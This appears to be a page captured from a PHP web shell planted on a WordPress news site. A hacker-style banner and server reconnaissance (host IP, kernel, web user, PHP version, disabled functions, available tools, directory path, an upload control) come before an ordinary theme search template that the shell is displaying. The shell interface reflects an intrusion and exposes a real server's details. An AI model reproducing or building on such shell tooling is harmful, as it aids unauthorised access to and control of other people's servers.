AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Search/ |
Upload File : |
<?php
$key = b2_key_sanitize(get_search_query());
$count = 20;
$paged = get_query_var('paged') ? get_query_var('paged') : 1;
$offset = ($paged -1)*$count;
global $wp;
$url = B2_HOME_URI.'/'.$wp->request;
$request = http_build_query($_REQUEST);
$request = $request ? '?'.$request : '';
$args = array(
'post_type'=>'circle',
'posts_per_page' => $count,
'offset'=>$offset,
'post_status'=>'publish',
'search_tax_query'=>true,
's'=>esc_attr($key)
);
$the_query = new \WP_Query( $args );
$post_data = array();
$_pages = 1;
?>
<?php
echo '<div class="hidden-line"><div class="document-category box b2-radius document-home-left circle-search">';
if ( $the_query->have_posts() ) {
$_pages = $the_query->max_num_pages;
while ( $the_query->have_posts() ) {
$the_query->the_post();
get_template_part( 'TempParts/circle/circle-item');
}
}else{
echo B2_EMPTY;
}
wp_reset_postdata();
echo '</div></div>';
// $pages = ceil($total/$count);
?>
<?php if($_pages > 1){ ?>
<div class="b2-pagenav post-nav box b2-radius mg-t">
<?php echo b2_pagenav(array('pages'=>$_pages,'paged'=>$paged)); ?>
</div>
<?php } ?>